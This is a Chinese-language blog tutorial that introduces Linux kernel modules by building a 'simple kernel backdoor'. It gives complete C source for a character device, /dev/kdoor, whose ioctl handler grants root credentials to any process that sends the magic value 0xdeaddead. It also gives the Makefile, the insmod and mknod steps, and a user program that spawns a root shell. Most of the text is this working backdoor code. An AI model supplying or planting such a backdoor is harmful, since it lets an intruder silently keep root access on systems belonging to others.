Linux核心模組入門之簡單核心後門
核心模組簡介
Linux核心支援執行時動態擴充套件,即執行時動態載入核心擴充套件模組(.ko檔案),ko檔案所包含的程式碼經載入後即成為核心程式碼的一部分,擁有核心特權,可以呼叫核心其它元件,訪問核心空間資料以及操作硬體。當然也有跟核心程式碼一樣的限制,如較小的函式呼叫棧,不支援浮點運算等。
此處列舉一些核心模組特有的能力:
- 硬體驅動。核心模組作為硬體的驅動程式,這應該是核心模組最主要的設計目標。
- 程式控制。核心態對程式有完全的控制權,如許可權提升(如核心後門)、訊號掛起(如保護某個程式不被kill -9誤殺)。
- 核心擴充套件。核心有一些擴充套件點,是需要用模組來完成的(Linux的防火牆框架netfilter)。
此外,由於眾所周知的原因,開發核心模組,只能使用C語言。
核心模組與使用者空間的介面
核心和使用者空間的通訊,主要有以下幾種方式:
- 系統呼叫
- ioctl
- proc
- netlink
其中,系統呼叫是最直接的,但不適用於核心模組,因為擴充套件系統呼叫需要編譯整個核心,這違背了執行時動態擴充套件的初衷;/proc是一個偽檔案系統,可以用於傳遞資訊,但無法做到實時,因為檔案系統是被動的;netlink介面類似socket,提供核心和使用者態間的雙向通訊,功能上完全沒問題,但用起來有些複雜,適合做更重要的事情。所以,這裡用ioctl來實現。
ioctl是針對檔案的操作,所以這裡的套路是:建立一個裝置檔案,並把核心模組指定為這個裝置檔案的驅動程式。這樣,使用者空間對這個裝置檔案發出的ioctl指令,即可傳達給核心模組
核心後門思路
由於核心程式碼擁有系統最高許可權(當然,裝載核心模組需要root許可權,否則系統就沒有安全性可言了),故可以在核心模組中留下後門,以便隨後的某個時刻獲取系統最高許可權。其實現思路很簡單,核心模組載入後作為核心一部分執行,使用者空間程式通過ioctl呼叫核心模組中的函式,核心模組將呼叫者程式的uid和gid設定為root,即可實現許可權提升。另外,由於核心模組是跟核心執行在一起的,故這種後門是沒有程式的。
具體實現
宣告初始化和結束入口
//其中init和cleanup是模組裡實現的函式,會在下面介紹
module_init(init);
module_exit(cleanup);
複製程式碼
核心模組被載入和解除安裝時,相應的初始化和清理函式被呼叫,一般是做一些資源的申請、釋放操作。
裝置註冊
分配裝置號,並指定模組中的函式作為裝置驅動例程,這個過程一般在模組的初始化函式裡實現,模組的初始化函式在模組被載入時被自動呼叫:
static int init(void) {
const char *const dev_name = "/dev/kdoor";
g_major = register_chrdev(0,dev_name,&fops);
if (g_major < 0) {
return g_major;
}
return 0;
}
複製程式碼
其中的fops是一個函式指標陣列,用於指定裝置驅動函式地址,這裡只需要註冊響應開啟檔案,關閉檔案和ioctl的函式:
static struct file_operations fops = {
.owner = THIS_MODULE,.open = device_open,.release = device_release,.unlocked_ioctl = device_ioctl
};
複製程式碼
同理,需要在模組被解除安裝時解除安裝驅動。釋放裝置號資源:
static void cleanup(void) {
//這個dev_name將出現在/proc/devices裡
const char *const dev_name = "/dev/kdoor";
unregister_chrdev(g_major,dev_name);
}
複製程式碼
處理裝置開啟
有程式開啟相應裝置檔案時,該函式被自動呼叫,這裡由於功能太簡單,什麼都不需要做,返回成功即可:
static int device_open(struct inode *inode,struct file *file) {
return 0;
}
複製程式碼
響應ioctl
有程式在裝置檔案上呼叫ioctl時,該函式被自動呼叫,我們的後門功能也就在這裡完成:
static long device_ioctl(struct file *filp,unsigned int cmd,unsigned long arg) {
//涉及到Linux的RCU操作,不能直接賦值,稍微有點繁瑣但並不複雜
struct cred *new_cred;
kuid_t kuid = KUIDT_INIT(0);
kgid_t kgid = KGIDT_INIT(0);
if (cmd == 0xdeaddead) {
new_cred = prepare_creds();
if (new_cred == NULL) {
return -ENOMEM;
}
new_cred->uid = kuid;
new_cred->gid = kgid;
new_cred->euid = kuid;
new_cred->egid = kgid;
commit_creds(new_cred);
}
return 0;
}
複製程式碼
處理裝置關閉
裝置檔案描述符被關閉時,或者程式異常時,這個函式被自動呼叫,針對這個例子,這裡依然什麼都不需要做:
static int device_release(struct inode *inode,struct file *file) {
return 0;
}
複製程式碼
後門的使用
編譯核心模組
核心是一個特殊的Makefile:
ifneq ($(KERNELRELEASE),)
obj-m:=kdoor.o
else
PWD:=$(shell pwd)
KDIR:=/lib/modules/$(shell uname -r)/build
all:
$(MAKE) -C $(KDIR) M=$(PWD)
clean:
rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers
endif
複製程式碼
另外,核心模組編譯時,還需要安裝核心開發目錄。
載入模組
上述模組經過編譯後,即可得到一個ko檔案:
insmod ./kdoor.ko
複製程式碼
建立裝置
使用mknod命令建立裝置檔案: 根據裝置驅動編號建立裝置檔案,以便使用者空間可以與核心模組通訊:
mknod /dev/kdoor c `grep KDoor /proc/devices|awk '{print $1}'` 0
複製程式碼
第二個引數c表示此處建立的是一個字元裝置,第三個引數是裝置號,可以從/proc/devices檔案獲取。
在使用者空間使用這個後門(將呼叫程式許可權提升為root)
直接上程式碼(留意註釋):
int main(int argc,char *argv[]) {
const char * const dev_name = "/dev/kdoor";
//開啟檔案
int fd = open(dev_name,O_RDWR);
if (-1 == fd) {
return 1;
}
//通過ioctl呼叫到模組中的實現
int ret = ioctl(fd,0xdeaddead,0);
if (ret != 0) {
return 1;
}
//執行shell,此shell即擁有root許可權
execlp("sh","sh",NULL);
return 0;
}
複製程式碼
小結
本文通過開發一個簡單核心後門(普通程式通過訪問核心模組來提升許可權)的開發,演示來核心模組的能力,以及模組作為裝置驅動與使用者空間通訊的一般套路,希望能起到拋磚引玉的作用,至少讓讀者知道有核心模組這麼一回事。